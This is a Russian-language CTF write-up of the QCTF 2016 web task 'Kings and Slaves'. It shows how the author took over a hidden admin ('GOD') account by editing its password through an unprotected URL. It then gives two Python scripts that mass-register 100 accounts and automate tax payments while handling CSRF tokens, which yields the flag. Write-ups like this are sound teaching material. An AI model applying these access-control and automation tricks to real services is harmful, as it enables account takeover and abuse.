» » » Короли и Холопы - Web QCTF 2016

Короли и Холопы - Web QCTF 2016

Этот таск оказался одним из самых интересных на данных соревнованиях.
Нам дан url - https://kingsandslaves.contest.qctf.ru
В этой "Игре" есть три рассы: Холопы, Короли и Боги.
Регистрация только для Холопов.
Задача стать Королем и купить флаг.


Регистрируем аккаунт.
Короли и Холопы - Web QCTF 2016

В данном случае был зарегистрирован аккаунт InvulnerableKing
Стали доступны следующие действия:
1. Стать Королем

Королем можно стать только с божьей помощью. Но БОГ ничего не сделает. Ему лень.


2. Купить секрет
Только истинные короли могут купить секрет.


3. Редактировать - наша ссылка приняла следующий вид:
https://kingsandslaves.contest.qctf.ru/profile/InvulnerableKing/edit

Заметим, что вначале идет логин, а далее какое действие нужно совершить.

4.КОРОЛЬ - есть только одна кнопка "Платить налог", при нажатии на которую мы оплачиваем 100 монет и переходим на такой URL:
https://kingsandslaves.contest.qctf.ru/profile/КОРОЛЬ/tax


А что, если поменять логин "КОРОЛЬ" на другой несуществующий? Например мы хотим протестить SQL Injection:
https://kingsandslaves.contest.qctf.ru/profile/КОРОЛЬ'/show

Короли и Холопы - Web QCTF 2016

Тааак.. видим какую то странную кнопку "К БОГУ".

Нажимаем её и переходим на другой URL:

https://kingsandslaves.contest.qctf.ru/profile/БОГ_9cc68bf901212d499bf3c8e92ab05d33/show

где 9cc68bf901212d499bf3c8e92ab05d33 является MD5 хешем нашего логина.

Вспоминаем, что последний переход (в данном случае show) отвечает за действие над аккаунтом. Меняем его на edit и..

Короли и Холопы - Web QCTF 2016

Оказывается мы можем менять ему пароль! Ну давайте поменяем на test и попробуем авторизоваться.
Короли и Холопы - Web QCTF 2016
Успех!

Но это еще не конец - флага у нас еще нет. Вспоминаем, что именно БОГ может делать кого-либо королем. Переходим на URL нашего аккаунта InvulnerableKing:
https://kingsandslaves.contest.qctf.ru/profile/InvulnerableKing/show


и делаем наш аккаунт королем!

Короли и Холопы - Web QCTF 2016
Вы успешно сделали из холопа короля. К чему это приведет?



Перелогинимся под наш аккаунт, попытаемся купить секрет и..
У вас не хватает золота, Ваше Величество. Нужно 100000.


Теперь опять же вспоминаем, что Холопы могут платить Королю налог,у Холопа после регистрации 1000 золотых, а создавать таких холопов мы можем до бесконечности!

ВАЖНО!
На данном пункте есть два решения:
I. Создание 100 аккаунтов вручную, и последующая оплата налога с каждого (как и вероятнее всего сделали все, кто решил таск)
II. Автоматизировать данный процеcc.


Про первый пункт я не буду рассказывать тк там все очевидно, я вам предоставлю мой вариант автоматизированного решения.
Были написаны два скрипта.

Первый скрипт отвечает за регистрацию 100 аккаунтов:

import requests
session=''
csrf_token=''
headers={'Content-Type':'application/x-www-form-urlencoded'}
z = 0
while z<=100:
    data = {'csrf_token':csrf_token,
            'username':'InvulnerableWriteup'+str(z),
            'password':'Invulnerable',
            'password2':'Invulnerable',
            'submit':'%D0%A0%D0%BE%D0%B4%D0%B8%D1%82%D1%8C%D1%81%D1%8F'
            }
    cookies={'session':session}
    r = requests.post('https://kingsandslaves.contest.qctf.ru/auth/register',
                  data=data,
                  cookies=cookies,
                  headers=headers
                  )
    session=r.cookies['session']
    t = r.text
    i = t.index('name="csrf_token" type="hidden" value="')
    csrf_token=t[i+39:i+91]
    print(z)
    z+=1


Второй скрипт за авторизацию под аккаунты и оплату всех 1000 золотых:

import requests
session='.eJwNzktqQzEMQNG9eJyB_rKymSBZNpRCAmlnoXvvm98D9zMeXz3uYxngwVBbHUmhZ02OmZSRIA3bJKx8kqBBzkxUAQ0njIAZcgAvRXNtqrBF6dQozm0mVeLGdpnjsaN0lcjiGS3cKUmioeM21s_7PH5f3_t5_SAfLYF9xbBbmT3QizhFZu_0smlAyePvH51ANCU.CeZr1A.aOBPIOU7nTk5HvJVKT8ZGxEDFB4'
csrf_token='1459939428%23%23413fb60de81418b7d60dd640f64ab78b6105cad8'
headers={'Content-Type':'application/x-www-form-urlencoded'}
remember_token = ''
z = 0
while z<=100:
    data = {'csrf_token':csrf_token,
            'username':'InvulnerableWriteup'+str(z),
            'password':'Invulnerable',
            'submit':'%D0%9F%D1%80%D0%BE%D1%81%D0%BD%D1%83%D1%82%D1%8C%D1%81%D1%8F'
            }
    cookies={'session':session}
    r = requests.post('https://kingsandslaves.contest.qctf.ru/',
                  data=data,
                  cookies=cookies,
                  headers=headers,
                  allow_redirects=0  
                  )
    if z>0: remember_token = r.cookies['remember_token']
    cookies={'remember_token':remember_token}
    for x in range(10):
        r = requests.get('https://kingsandslaves.contest.qctf.ru/profile/InvulnerableKing/tax',
                  cookies=cookies,
                  headers=headers
                  )
    cookies={'session':session}
    r = requests.get('https://kingsandslaves.contest.qctf.ru/',
                  headers=headers,
                  cookies=cookies  
                  )
    t = r.text
    i = t.index('name="csrf_token" type="hidden" value="')
    csrf_token=t[i+39:i+91]
    session=r.cookies['session']
    print(z)
    z+=1


Почему же код получился таким большим? Все потому что я рукожоп пришлось работать с anti-CSRF системой, встроенной в Django и каждый раз обновлять сессию и токены в POST запросах.


Вернемся к заданию. Подождав пару минут, получаем достаточное количество монет на нашем аккаунте для приобретения секрета!

Короли и Холопы - Web QCTF 2016

Покупаем секрет и получаем флаг: QCTF_d561499418f345c491cce265067d0b0f


Некоторые замечания по заданию - думаю CSRF токены и сессия были в таске лишними. А особенно когда в команде 2 и меньше участников, то они просто вынуждены решать программным способом и реализовывать взаимодействие с Django. Это один из редких случаев, когда я бы предпочел PHP:)

P.S.https://github.com/Rubikoid/qctf_school_2016/blob/master/xolopo_generator.py - упрощенный код от Rubikoidскачать dle 10.5фильмы бесплатно

  • Автор: drakylar
  • Комментарии: 1
  • Просмотры: 3921

Добавить комментарий

Вы не авторизованы и вам запрещено писать комментарии. Для расширенных возможностей зарегистрируйтесь!
  1. Спасибо за ваш интерес к qctf и данному таску. Мне приятно. Я использовал Flask, а не Django :) csrf и сессии.. Ну так получилось :D использовал wtforms и login.